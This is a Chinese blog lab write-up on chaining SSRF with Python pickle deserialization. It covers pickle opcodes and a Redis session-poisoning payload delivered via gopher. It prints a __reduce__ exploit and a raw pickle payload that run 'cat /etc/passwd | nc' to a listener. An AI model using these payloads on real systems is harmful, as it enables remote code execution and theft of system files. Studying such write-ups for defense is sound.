首页 > 编程语言 >ssrf结合python反序列化

ssrf结合python反序列化

时间:2024-07-03 23:19:57浏览次数:15  
标签:出栈 入栈 ssrf python MARK 对象 栈中 序列化

存储session对象时 当然不能直接存储对象 需要转换成有规律的字符串 这一过程就涉及到了序列化
将对象转换成字符串这一过程称之为序列化

PYTHON反序列化漏洞

本文中就涉及到了pickle这一序列化模块导致的反序列化漏洞

在反序列化结束时 会触发__reduce__魔术方法 类似于php中的__wakeup 也就是 将字符串还原为对象这一过程会调用这一魔术方法

在序列化过程中 要经过PVM 而这个pvm处理逻辑类似于 栈
image
这里引入一个图 方便理解
左侧为序列化字符串
当读入时

首先读入 					栈结构
c_builtin__					R
file						/etc/passwd
(s'						(
/etc/passwd					file
R						c_builtin__

最终栈通过opcode得到序列化对象
常用opcode:

指令	描述	具体写法	栈上的变化
c	获取一个全局对象或import一个模块	c[module]\n[instance]\n	获得的对象入栈
o	寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)	o	这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i	相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)	i[module]\n[callable]\n	这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N	实例化一个None	N	获得的对象入栈
S	实例化一个字符串对象	S'xxx'\n(也可以使用双引号、\'等python字符串形式)	获得的对象入栈
V	实例化一个UNICODE字符串对象	Vxxx\n	获得的对象入栈
I	实例化一个int对象	Ixxx\n	获得的对象入栈
F	实例化一个float对象	Fx.x\n	获得的对象入栈
R	选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数	R	函数和参数出栈,函数的返回值入栈
.	程序结束,栈顶的一个元素作为pickle.loads()的返回值	.	无
(	向栈中压入一个MARK标记	(	MARK标记入栈
t	寻找栈中的上一个MARK,并组合之间的数据为元组	t	MARK标记以及被组合的数据出栈,获得的对象入栈
)	向栈中直接压入一个空元组	)	空元组入栈
l	寻找栈中的上一个MARK,并组合之间的数据为列表	l	MARK标记以及被组合的数据出栈,获得的对象入栈
]	向栈中直接压入一个空列表	]	空列表入栈
d	寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)	d	MARK标记以及被组合的数据出栈,获得的对象入栈
}	向栈中直接压入一个空字典	}	空字典入栈
p	将栈顶对象储存至memo_n	pn\n	无
g	将memo_n的对象压栈	gn\n	对象被压栈
0	丢弃栈顶对象	0	栈顶对象被丢弃
b	使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置	b	栈上第一个元素出栈
s	将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中	s	第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u	寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中	u	MARK标记以及被组合的数据出栈,字典被更新
a	将栈的第一个元素append到第二个元素(列表)中	a	栈顶元素出栈,第二个元素(列表)被更新
e	寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中	e	MARK标记以及被组合的数据出栈,列表被更新

我们只要构造恶意的序列化对象 就会导致任意命令执行
接下来我们在环境中做一下尝试
payload 生成代码

class PickleExploit(object):

    def __reduce__(self):
        ip = "127.0.0.1"
        port = "9091"
        cmd = 'cat /etc/passwd | nc {} {}'.format(ip, port)
        return (os.system, (cmd,))

def pickle_payload(key):
    res = ""

    payload = pickle.dumps(PickleExploit())
    res += "\r\n"
    res += generate_resp("set {} {}".format(key, base64.b64encode(payload)))

    res = res.replace("\n", "\r\n")

    print(generate_gopher(res).replace("gopher","http"))

很简单 其实就是给我们的session文件写入
注意 新的session文件要与原来的不同 通过用新的session访问网页触发序列化

cposix
system
p0
(S'cat /etc/passwd | nc 127.0.0.1 9091'
p1
tp2
Rp3

这里我们稍微修改一下 把执行结果返回给 kali 192.168.80.153
当然 我们不止能查看文件 也可以做其他操作
现在我们试一试
kali上监听 9091
image

ssrf请求发出
image

发现urllib不解析回车符号 crlf失败了
image
在python2.7.18版本中crlf早就被修复了 crlf漏洞出现在2.0到2.7.16版本之间

如果成功绕过 服务器会将把passwd中的值返回给攻击者
image

注意攻击者需要利用新的session访问网页 以触发序列化
image
注意原session为606c3dd2-3845-4708-a65e-07af1e30af5c

标签:出栈,入栈,ssrf,python,MARK,对象,栈中,序列化
From: https://www.cnblogs.com/fr09/p/18282737

相关文章

  • Python机器学习实战:推荐系统的原理与实现方法
    Python机器学习实战:推荐系统的原理与实现方法作者:禅与计算机程序设计艺术/ZenandtheArtofComputerProgramming关键词:推荐系统,协同过滤,矩阵分解,深度学习,个性化推荐,用户体验1.背景介绍1.1问题的由来随着互联网和电子商务的快速发展,用户面对的信息量呈爆炸......
  • 【Python】GUI开发笔记
     一、环境搭建:1、Pycharm开发工具pycharm历史版本https://www.jetbrains.com/pycharm/download/other.html破解插件https://blog.csdn.net/weixin_50737119/article/details/135628513 2、PYENV 版本管理Python也有对应的版本管理工具,叫pyenv这个东西挺奇怪的,直......
  • 【python基础】print函数的基础使用以及进阶
    一、print函数的基本使用print函数是Python中最基本的输出函数,用于将信息打印到控制台,是学习python、调试代码必不可少的函数我们首先看一下python函数的基本语法结构:>>>help(print)Helponbuilt-infunctionprintinmodulebuiltins:print(...)print(value,...,......
  • python项目实战(二手房屋出租系统)
    文章目录1.系统概述2.技术栈3.系统功能4.核心代码分析5.代码实现6.实现细节6.未来改进方向在当今数字化时代,自动化和数字化管理工具对于提高效率至关重要。在这篇博客中,我们将一起探索如何使用Python编程语言来创建一个简单的二手房屋出租管理系统。这个系统将帮助房......
  • 【剑指offer】JZ23-链表中环的入口节点-Python解法
    1.题目描述2.解题思路(Python版)方法:双指针法思路:根据题目描述,需要找到一个链表环的入口节点,这个题目可以拆分成三个小问题:(1)如何确定一个链表中是否包含环?(2)如果有环,环中节点的数目如何计算?(3)如何找到环的入口?接下来分别解决上述三个问题:(1)如何确定一个链表中是否包含环:有......
  • 【python小记】使用openpyxl库在同一个工作表下复制单元格(包括它们的值、样式和合并属
    fromopenpyxlimportload_workbook#加载工作簿和工作表wb=load_workbook('test.xlsx')sheet=wb['sheet1']#定义一个函数来复制样式defcopy_style(source_cell,target_cell):ifsource_cell.has_style:target_cell.font=source_cell.font.co......
  • Python学习笔记27:进阶篇(十六)常见标准库使用之质量控制中的代码质量与风格第一部分
    前言本文是根据python官方教程中标准库模块的介绍,自己查询资料并整理,编写代码示例做出的学习笔记。根据模块知识,一次讲解单个或者多个模块的内容。教程链接:https://docs.python.org/zh-cn/3/tutorial/index.html质量控制质量控制(QualityControl,QC),主要关注于提高......
  • 【坚果识别】果实识别+图像识别系统+Python+计算机课设+人工智能课设+卷积算法
    一、介绍坚果识别系统,使用Python语言进行开发,通过TensorFlow搭建卷积神经网络算法模型,对10种坚果果实('杏仁','巴西坚果','腰果','椰子','榛子','夏威夷果','山核桃','松子','开心果','核桃')等图片数据集进行训练,得到一个识别精度较高的模型文件,让后......
  • python更新包、pip延时报错,pip check 查询冲突
    pip下载package或者更新package会出现延迟报错的问题,因为python默认使用的是国外镜像,有时候下载非常慢,我们可以选择进行换源,引用国内的镜像资源进行更新或者下载。阿里云: http://mirrors.aliyun.com/pypi/simple/中国科技大学: https://pypi.mirrors.ustc.edu.cn/simple/......
  • Web安全基础学习:Python反序列化漏洞之pickle反序列化
    理论基础序列化与反序列化序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。序列化是指将对象或数据结构转换为字节流的过程。在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定......